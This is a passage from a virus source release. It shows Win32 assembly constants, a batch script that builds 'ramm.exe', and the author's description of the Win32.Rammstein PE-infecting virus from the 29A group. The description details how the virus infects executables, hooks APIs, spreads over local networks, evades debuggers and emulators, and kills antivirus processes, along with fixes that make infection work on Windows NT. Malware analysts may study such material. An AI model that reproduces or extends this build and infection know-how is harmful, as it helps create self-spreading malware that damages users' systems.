SPI_GETACTIVEWNDTRKZORDER EQU 100Ch
|
||
SPI_SETACTIVEWNDTRKZORDER EQU 100Dh
|
||
SPI_GETHOTTRACKING EQU 100Eh
|
||
SPI_SETHOTTRACKING EQU 100Fh
|
||
SPI_GETMENUFADE EQU 1012h
|
||
SPI_SETMENUFADE EQU 1013h
|
||
SPI_GETSELECTIONFADE EQU 1014h
|
||
SPI_SETSELECTIONFADE EQU 1015h
|
||
SPI_GETTOOLTIPANIMATION EQU 1016h
|
||
SPI_SETTOOLTIPANIMATION EQU 1017h
|
||
SPI_GETTOOLTIPFADE EQU 1018h
|
||
SPI_SETTOOLTIPFADE EQU 1019h
|
||
SPI_GETCURSORSHADOW EQU 101Ah
|
||
SPI_SETCURSORSHADOW EQU 101Bh
|
||
SPI_GETUIEFFECTS EQU 103Eh
|
||
SPI_SETUIEFFECTS EQU 103Fh
|
||
SPI_GETFOREGROUNDLOCKTIMEOUT EQU 2000h
|
||
SPI_SETFOREGROUNDLOCKTIMEOUT EQU 2001h
|
||
SPI_GETACTIVEWNDTRKTIMEOUT EQU 2002h
|
||
SPI_SETACTIVEWNDTRKTIMEOUT EQU 2003h
|
||
SPI_GETFOREGROUNDFLASHCOUNT EQU 2004h
|
||
SPI_SETFOREGROUNDFLASHCOUNT EQU 2005h
|
||
SPI_GETCARETWIDTH EQU 2006h
|
||
SPI_SETCARETWIDTH EQU 2007h
|
||
|
||
ARW_BOTTOMLEFT EQU 0000h
|
||
ARW_BOTTOMRIGHT EQU 0001h
|
||
ARW_TOPLEFT EQU 0002h
|
||
ARW_TOPRIGHT EQU 0003h
|
||
ARW_STARTMASK EQU 0003h
|
||
ARW_STARTRIGHT EQU 0001h
|
||
ARW_STARTTOP EQU 0002h
|
||
ARW_LEFT EQU 0000h
|
||
ARW_RIGHT EQU 0000h
|
||
ARW_UP EQU 0004h
|
||
ARW_DOWN EQU 0004h
|
||
ARW_HIDE EQU 0008h
|
||
|
||
; flags for SERIALKEYS dwFlags field
|
||
|
||
SERKF_SERIALKEYSON EQU 00000001h
|
||
SERKF_AVAILABLE EQU 00000002h
|
||
SERKF_INDICATOR EQU 00000004h
|
||
|
||
; NMHDR
|
||
|
||
NMHDR struc
|
||
hwndFrom UINT ?
|
||
idFrom UINT ?
|
||
code UINT ?
|
||
NMHDR ends
|
||
|
||
; TOOLTIPTEXT
|
||
|
||
TOOLTIPTEXT struc
|
||
hdr NMHDR <?>
|
||
lpszText ULONG ?
|
||
szText db 80 dup(?)
|
||
hinst ULONG ?
|
||
uFlags UINT ?
|
||
TOOLTIPTEXT ends
|
||
|
||
TTN_NEEDTEXT equ 0FFFFFDF8h
|
||
|
||
; flags for HIGHCONTRAST dwFlags field
|
||
|
||
HCF_HIGHCONTRASTON EQU 00000001h
|
||
HCF_AVAILABLE EQU 00000002h
|
||
HCF_HOTKEYACTIVE EQU 00000004h
|
||
HCF_CONFIRMHOTKEY EQU 00000008h
|
||
HCF_HOTKEYSOUND EQU 00000010h
|
||
HCF_INDICATOR EQU 00000020h
|
||
HCF_HOTKEYAVAILABLE EQU 00000040h
|
||
|
||
; Flags for ChangeDisplaySettings
|
||
|
||
CDS_UPDATEREGISTRY EQU 00000001h
|
||
CDS_TEST EQU 00000002h
|
||
CDS_FULLSCREEN EQU 00000004h
|
||
CDS_GLOBAL EQU 00000008h
|
||
CDS_SET_PRIMARY EQU 00000010h
|
||
CDS_RESET EQU 40000000h
|
||
CDS_NORESET EQU 10000000h
|
||
|
||
; Return values for ChangeDisplaySettings
|
||
|
||
DISP_CHANGE_SUCCESSFUL EQU 0
|
||
DISP_CHANGE_RESTART EQU 1
|
||
DISP_CHANGE_FAILED EQU -1
|
||
DISP_CHANGE_BADMODE EQU -2
|
||
DISP_CHANGE_NOTUPDATED EQU -3
|
||
DISP_CHANGE_BADFLAGS EQU -4
|
||
DISP_CHANGE_BADPARAM EQU -5
|
||
|
||
; dwFlags for SetWinEventHook
|
||
|
||
WINEVENT_OUTOFCONTEXT EQU 0000h ; Events are ASYNC
|
||
WINEVENT_SKIPOWNTHREAD EQU 0001h ; Don't call back for events on installer's thread
|
||
WINEVENT_SKIPOWNPROCESS EQU 0002h ; Don't call back for events on installer's process
|
||
WINEVENT_INCONTEXT EQU 0004h ; Events are SYNC, this causes your dll to be injected into every process
|
||
|
||
; Reserved IDs for system objects
|
||
|
||
OBJID_WINDOW EQU 000000000h
|
||
OBJID_SYSMENU EQU 0FFFFFFFFh
|
||
OBJID_TITLEBAR EQU 0FFFFFFFEh
|
||
OBJID_MENU EQU 0FFFFFFFDh
|
||
OBJID_CLIENT EQU 0FFFFFFFCh
|
||
OBJID_VSCROLL EQU 0FFFFFFFBh
|
||
OBJID_HSCROLL EQU 0FFFFFFFAh
|
||
OBJID_SIZEGRIP EQU 0FFFFFFF9h
|
||
OBJID_CARET EQU 0FFFFFFF8h
|
||
OBJID_CURSOR EQU 0FFFFFFF7h
|
||
OBJID_ALERT EQU 0FFFFFFF6h
|
||
OBJID_SOUND EQU 0FFFFFFF5h
|
||
|
||
; EVENT DEFINITION
|
||
|
||
EVENT_MIN EQU 00000001h
|
||
EVENT_MAX EQU 7FFFFFFFh
|
||
|
||
EVENT_OBJECT_NAMECHANGE EQU 800Ch ; hwnd + ID + idChild is item w/ name change
|
||
EVENT_OBJECT_DESCRIPTIONCHANGE EQU 800Dh ; hwnd + ID + idChild is item w/ desc change
|
||
EVENT_OBJECT_VALUECHANGE EQU 800Eh ; hwnd + ID + idChild is item w/ value change
|
||
EVENT_OBJECT_PARENTCHANGE EQU 800Fh ; hwnd + ID + idChild is item w/ new parent
|
||
EVENT_OBJECT_HELPCHANGE EQU 8010h ; hwnd + ID + idChild is item w/ help change
|
||
EVENT_OBJECT_DEFACTIONCHANGE EQU 8011h ; hwnd + ID + idChild is item w/ def action change
|
||
EVENT_OBJECT_ACCELERATORCHANGE EQU 8012h ; hwnd + ID + idChild is item w/ keybd accel change
|
||
|
||
; System Sounds (idChild of system SOUND notification)
|
||
|
||
SOUND_SYSTEM_STARTUP EQU 1
|
||
SOUND_SYSTEM_SHUTDOWN EQU 2
|
||
SOUND_SYSTEM_BEEP EQU 3
|
||
SOUND_SYSTEM_ERROR EQU 4
|
||
SOUND_SYSTEM_QUESTION EQU 5
|
||
SOUND_SYSTEM_WARNING EQU 6
|
||
SOUND_SYSTEM_INFORMATION EQU 7
|
||
SOUND_SYSTEM_MAXIMIZE EQU 8
|
||
SOUND_SYSTEM_MINIMIZE EQU 9
|
||
SOUND_SYSTEM_RESTOREUP EQU 10
|
||
SOUND_SYSTEM_RESTOREDOWN EQU 11
|
||
SOUND_SYSTEM_APPSTART EQU 12
|
||
SOUND_SYSTEM_FAULT EQU 13
|
||
SOUND_SYSTEM_APPEND EQU 14
|
||
SOUND_SYSTEM_MENUCOMMAND EQU 15
|
||
SOUND_SYSTEM_MENUPOPUP EQU 16
|
||
CSOUND_SYSTEM EQU 16
|
||
|
||
; System Alerts (indexChild of system ALERT notification)
|
||
|
||
ALERT_SYSTEM_INFORMATIONAL EQU 1 ; MB_INFORMATION
|
||
ALERT_SYSTEM_WARNING EQU 2 ; MB_WARNING
|
||
ALERT_SYSTEM_ERROR EQU 3 ; MB_ERROR
|
||
ALERT_SYSTEM_QUERY EQU 4 ; MB_QUESTION
|
||
ALERT_SYSTEM_CRITICAL EQU 5 ; HardSysErrBox
|
||
CALERT_SYSTEM EQU 6
|
||
|
||
GUI_CARETBLINKING EQU 00000001h
|
||
GUI_INMOVESIZE EQU 00000002h
|
||
GUI_INMENUMODE EQU 00000004h
|
||
GUI_SYSTEMMENUMODE EQU 00000008h
|
||
GUI_POPUPMENUMODE EQU 00000010h
|
||
|
||
STATE_SYSTEM_UNAVAILABLE EQU 00000001h ; Disabled
|
||
STATE_SYSTEM_SELECTED EQU 00000002h
|
||
STATE_SYSTEM_FOCUSED EQU 00000004h
|
||
STATE_SYSTEM_PRESSED EQU 00000008h
|
||
STATE_SYSTEM_CHECKED EQU 00000010h
|
||
STATE_SYSTEM_MIXED EQU 00000020h ; 3-state checkbox or toolbar button
|
||
STATE_SYSTEM_INDETERMINATE EQU STATE_SYSTEM_MIXED
|
||
STATE_SYSTEM_READONLY EQU 00000040h
|
||
STATE_SYSTEM_HOTTRACKED EQU 00000080h
|
||
STATE_SYSTEM_DEFAULT EQU 00000100h
|
||
STATE_SYSTEM_EXPANDED EQU 00000200h
|
||
STATE_SYSTEM_COLLAPSED EQU 00000400h
|
||
STATE_SYSTEM_BUSY EQU 00000800h
|
||
STATE_SYSTEM_FLOATING EQU 00001000h ; Children "owned" not "contained" by parent
|
||
STATE_SYSTEM_MARQUEED EQU 00002000h
|
||
STATE_SYSTEM_ANIMATED EQU 00004000h
|
||
STATE_SYSTEM_INVISIBLE EQU 00008000h
|
||
STATE_SYSTEM_OFFSCREEN EQU 00010000h
|
||
STATE_SYSTEM_SIZEABLE EQU 00020000h
|
||
STATE_SYSTEM_MOVEABLE EQU 00040000h
|
||
STATE_SYSTEM_SELFVOICING EQU 00080000h
|
||
STATE_SYSTEM_FOCUSABLE EQU 00100000h
|
||
STATE_SYSTEM_SELECTABLE EQU 00200000h
|
||
STATE_SYSTEM_LINKED EQU 00400000h
|
||
STATE_SYSTEM_TRAVERSED EQU 00800000h
|
||
STATE_SYSTEM_MULTISELECTABLE EQU 01000000h ; Supports multiple selection
|
||
STATE_SYSTEM_EXTSELECTABLE EQU 02000000h ; Supports extended selection
|
||
STATE_SYSTEM_ALERT_LOW EQU 04000000h ; This information is of low priority
|
||
STATE_SYSTEM_ALERT_MEDIUM EQU 08000000h ; This information is of medium priority
|
||
STATE_SYSTEM_ALERT_HIGH EQU 10000000h ; This information is of high priority
|
||
STATE_SYSTEM_REDUNDANT EQU 20000000h ; this child object's data is also represented by it's parent
|
||
STATE_SYSTEM_ONLY_REDUNDANT EQU 40000000h ; this object has children, but they are all redundant
|
||
STATE_SYSTEM_VALID EQU 7FFFFFFFh
|
||
|
||
CCHILDREN_TITLEBAR EQU 5
|
||
CCHILDREN_SCROLLBAR EQU 5
|
||
|
||
CURSOR_SHOWING EQU 00000001h
|
||
|
||
; Commands to pass to WinHelp()
|
||
|
||
HELP_CONTEXT = 0001h
|
||
HELP_QUIT = 0002h
|
||
HELP_INDEX = 0003h
|
||
HELP_CONTENTS = 0003h
|
||
HELP_HELPONHELP = 0004h
|
||
HELP_SETINDEX = 0005h
|
||
HELP_SETCONTENTS = 0005h
|
||
HELP_CONTEXTPOPUP = 0008h
|
||
HELP_FORCEFILE = 0009h
|
||
HELP_KEY = 0101h
|
||
HELP_COMMAND = 0102h
|
||
HELP_PARTIALKEY = 0105h
|
||
HELP_MULTIKEY = 0201h
|
||
HELP_SETWINPOS = 0203h
|
||
HELP_CONTEXTMENU = 000ah
|
||
HELP_FINDER = 000bh
|
||
HELP_WM_HELP = 000ch
|
||
HELP_SETPOPUP_POS = 000dh
|
||
|
||
HELP_TCARD = 8000h
|
||
HELP_TCARD_DATA = 0010h
|
||
HELP_TCARD_OTHER_CALLER = 0011h
|
||
|
||
IDH_NO_HELP = 28440
|
||
IDH_MISSING_CONTEXT = 28441
|
||
IDH_GENERIC_HELP_BUTTON = 28442
|
||
IDH_OK = 28443
|
||
IDH_CANCEL = 28444
|
||
IDH_HELP = 28445
|
||
|
||
OSVERSIONINFOA STRUCT
|
||
dwOSVersionInfoSize DD ?
|
||
dwMajorVersion DD ?
|
||
dwMinorVersion DD ?
|
||
dwBuildNumber DD ?
|
||
dwPlatformId DD ?
|
||
szCSDVersion DB 128 DUP(?)
|
||
OSVERSIONINFOA ENDS
|
||
|
||
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ END OF FILE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
; wasn't it obvious ? ;-)
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[W32US_LJ.INC]ÄÄÄ
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[A.BAT]ÄÄÄ
|
||
@tasm32 -m3 -ml ramm.asm
|
||
@tlink32 -Tpe -aa -c -x ramm,,,d:\langs\libs\import32.lib
|
||
@pewrsec ramm.exe
|
||
@del *.obj
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[A.BAT]ÄÄÄ
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DESC.TXT]ÄÄÄ
|
||
comment $
|
||
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
ÛÛß ßÛß ßÛß ßÛÛ
|
||
ÛÛ Û Û Û Û Û ÛÛ
|
||
ÛÛÛßßß ÜÛÜ Û ÛÛ
|
||
ÛÛ ßßßßÛßßßß Û Û ÛÛ
|
||
ÛÛ Û ÜÛ Û ÛÛ
|
||
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
|
||
ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜ ÜÜÜ ÜÜÜ
|
||
Û ÜÜÜ Û Û ÜÜÜ Û Û Ü Ü Û Û Ü Ü Û Û ÜÜÜÜÛ ÜÛßÛÜ Û ÜÜÜÜÛ ÛÜ ÜÛ Û ßÛÛ Û
|
||
Û Ü ÜÜÛ Û ÜÜÜ Û Û Û Û Û Û Û Û Û ÛÜÜÜÜ Û ÛÜ ÜÛ Û ÜÜÜÛÜ ÜÛ ÛÜ Û ÛÜß Û
|
||
ÛÜÛÜÜÜÛ ÛÜÛ ÛÜÛ ÛÜÛßÛÜÛ ÛÜÛßÛÜÛ ÛÜÜÜÜÜÛ ßßß ÛÜÜÜÜÜÛ ÛÜÜÜÛ ÛÜÛßÛÜÛ
|
||
|
||
v4.0
|
||
|
||
= Final Release =
|
||
|
||
(c) Lord Julus / 29A (Jul 2000)
|
||
|
||
|
||
===================================================================
|
||
DISCLAIMER
|
||
|
||
This is the source code of a virus. Possesing, using, spreading of
|
||
this source code, compiling and linking it, possesing, using and
|
||
spreading of the executable form is illegal and it is forbidden.
|
||
Should you do such a thing, the author may not be held responsible
|
||
for any damage that occured from the use of this source code. The
|
||
actual purpose of this source code is for educational purposes and
|
||
as an object of study. This source code comes as is and the author
|
||
cannot be held responsible for the existance of other modified
|
||
variants of this code.
|
||
====================================================================
|
||
History:
|
||
|
||
09 Sep 2000 - Today I made a small improvement. When the dropper roams
|
||
the net onto another computer it remains in the windows
|
||
dir and it represents a weak point which might be noticed
|
||
by an av. So, now, the virus will smartly remove either
|
||
the dropper or the entry in the win.ini file if one of
|
||
them is missing. If both are there, they are left alone
|
||
because they will remove eachother. Added Pstores.exe to
|
||
the black list. Thanks to Evul for pointing me out that
|
||
it is a rather peculiar file and cannot be safely
|
||
infected.
|
||
|
||
22 Jul 2000 - The virus has moved up to version 4.0. Today I added
|
||
the network infector. It comes in a separate thread.
|
||
For the moment looks like everything works fine. Will
|
||
add a timer to it so that it does not hang in huge
|
||
networks... Virus is above 14k now... Waiting for the
|
||
LZ!
|
||
|
||
18 Jul 2000 - Fixed a bug in the section increase algorithm: if you
|
||
want to have a good compatibility you NEED to place the
|
||
viral code exactly at the end of file and NOT at the
|
||
end of the VirtualSize or SizeOfRawData as it appears
|
||
in the section header, because many files get their
|
||
real size calculated at load time in some way.
|
||
HURRAY!!! YES!! I fixed a shitty bug! If you do section
|
||
add you MUST check also if any directory VA follows
|
||
immediately the last section header so that you will
|
||
not overwrite it. Now almost all files work ok under
|
||
NT!!!! However, I don't seem to be able to make
|
||
outlook.exe get infected so I put it on the black list.
|
||
The other MsOffice executables get infected correctly
|
||
on both Win9x and WinNT.
|
||
|
||
17 Jul 2000 - Have started some optimizations and proceduralizations
|
||
(;-)))). The virus is quickly going towards 13k so I
|
||
am quite anxious to implement my new LZ routine to
|
||
decrease it's size. I fixed a bug: WinNT NEEDS the
|
||
size of headers value to be aligned to file alignment.
|
||
|
||
14 Jul 2000 - Worked heavily on the WindowsNT compatibility. In this
|
||
way I was able to spot 2 bugs in the infection routine,
|
||
one regarding RVA of the new section and one regarding
|
||
the situation when the imports cannot be found by the api
|
||
hooker. Still thinking if I should rearrange relocs also?
|
||
Now files are loaded under WindowsNT (NT image is correct)
|
||
but they cannot fully initialize. Will research some
|
||
more.
|
||
|
||
03 Jun 2000 - Added an encryption layer with no key, just a rol/ror
|
||
routine on parity. Also added some MMX commands. Fixed
|
||
a few things.
|
||
|
||
22 May 2000 - Added EPO on files that have the viral code outside the
|
||
code section. Basically from now on the entry point stays
|
||
only into the code section. The epo is not actually epo,
|
||
because as I started to code it I decided to make it very
|
||
complicated so I will include the complicated part in the
|
||
next release. It will be the so called LJILE32 <Lord
|
||
Julus' Instruction Length Engine 32>. This engine will
|
||
allow me to have an exact location of the opcode for each
|
||
instruction so we will be able to look up any call, jump
|
||
or conditional jump to place our code call there. So for
|
||
this version only a jump at the original eip.
|
||
|
||
21 May 2000 - Fixed a bug in the api hooker... I forgot that some import
|
||
sections have a null pointer to names. Also added the
|
||
infection by last section increase for files who cannot
|
||
be infected otherwise. All files should be touched now.
|
||
Also I fixed the problem with the payload window not
|
||
closing after the process closed. I solved half of it
|
||
as some files like wordpad.exe still have this problem.
|
||
|
||
20 May 2000 - Prizzy helped me a lot by pointing out to me that in
|
||
order to have the copro working ok I need to save it's
|
||
environment so that the data of the victim process in
|
||
not altered. thanx!! Also fixed the cpuid read.
|
||
|
||
14 May 2000 - Released first beta version to be tested
|
||
|
||
====================================================================
|
||
Virus Name ........... Win32.Rammstein
|
||
Virus Version ........ 4.0
|
||
Virus Size ........... 13346 (debug), 14520 (release)
|
||
Virus Author ......... Lord Julus / 29A
|
||
Release Date ......... 04 May 2000
|
||
Virus type ........... PE infector
|
||
Target OS ............ Win95, Win98, WinNT, Win2000
|
||
Target Files ......... many PE file types:
|
||
EXE COM ACM CPL HDI OCX PCI
|
||
QTC SCR X32 CNV FMT OCM OLB WPC
|
||
Append Method ........ The virus will check wether there is enough room
|
||
for it inside the code section. If there is not
|
||
enough room the virus will be placed at end. If
|
||
there is it will be inserted inside the code
|
||
section at a random offset while the original
|
||
code will be saved at end. The placing at the end
|
||
has also two variants. If the last section is
|
||
Resources or Relocations the virus will insert a
|
||
new section before the last section and place the
|
||
data there, also rearranging the last section's
|
||
RVAs. If the last section is another section a
|
||
new section will be placed at end. The name of
|
||
the new section is a common section name which is
|
||
choosed based on the existing names so that it
|
||
does not repeat. If the virus is placed at the
|
||
end just a small EPO code is used so that the eip
|
||
stays inside the code section.
|
||
A special situation occurs if there is no enough
|
||
space to add a new section header, for example
|
||
when the code section starts at RVA 200 (end of
|
||
headers). In this situation the virus will
|
||
increase the last section in order to append.
|
||
Infect Methods ....... -Direct file attacks: the virus will attack
|
||
specific files in the windows directory, files
|
||
which are most used by people
|
||
-Directory scan: all files in the current
|
||
directory will be infected, as well as 3 files in
|
||
the system directory and 3 in the windows
|
||
directory
|
||
-Api hooking (per-process residency): the virus
|
||
hooks a few api calls and infects files as the
|
||
victim uses the apis
|
||
-Intranet spreading: the virus spreads into the
|
||
LAN using only windows apis
|
||
Features ............. Multiple threads: the virus launches a main
|
||
thread. While this thread executes, in the same
|
||
time, the original thread returns to host, so no
|
||
slowing down appears. The main viral thread
|
||
launches other 6 threads and monitors their
|
||
execution. If one of the threads is not able to
|
||
finish the system is hanged because it means
|
||
somebody tryied to patch some of the thread code.
|
||
Heavy anti-debugging: i tried to use almost all
|
||
the anti-debug and anti-emulation stuff that I
|
||
know
|
||
FPU: uses fpu instructions
|
||
Crc32 search: uses crc32 to avoid waste of space
|
||
Memory roaming: allocates virtual memory and
|
||
jumps in it
|
||
Interlaced code: this means that some threads
|
||
share the same piece of code and the virus is
|
||
careful to let only one in the same time
|
||
otherwise we get some of the variables distroyed.
|
||
Preety hard to be emulated by avs.
|
||
Also features semaphores, timers
|
||
Marks infection using the Pythagoreic numbers.
|
||
SEH: the virus creates 9 SEH handlers, for each
|
||
thread and for the main thread.
|
||
(*) Polymorphic .......... Yes (2 engines: LJMLPE32, LJFPE32)
|
||
(*) Metamorphic .......... Yes (mild custom metamorphic engine)
|
||
Encrypted ............ Yes
|
||
Safety ............... Yes (avoids infecting many files)
|
||
Kill AV Processes .... Yes
|
||
Payload .............. On 14th every even month the infected process
|
||
will launch a thread that will display random
|
||
windows with some of the Rammstein's lyrics.
|
||
Pretty annoying... Probably this is the first
|
||
virus that actually creates real windows and
|
||
processes their messages. The windows shut down
|
||
as the victim process closes.
|
||
|
||
|
||
(*) Feature not included in this version.
|
||
|
||
Debug notes: please note that this source code features many ways of
|
||
debugging. You may turn on and off most of the virus's features by
|
||
turning some variables to TRUE or FALSE.
|
||
====================================================================
|
||
|
||
$
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DESC.TXT]ÄÄÄ
|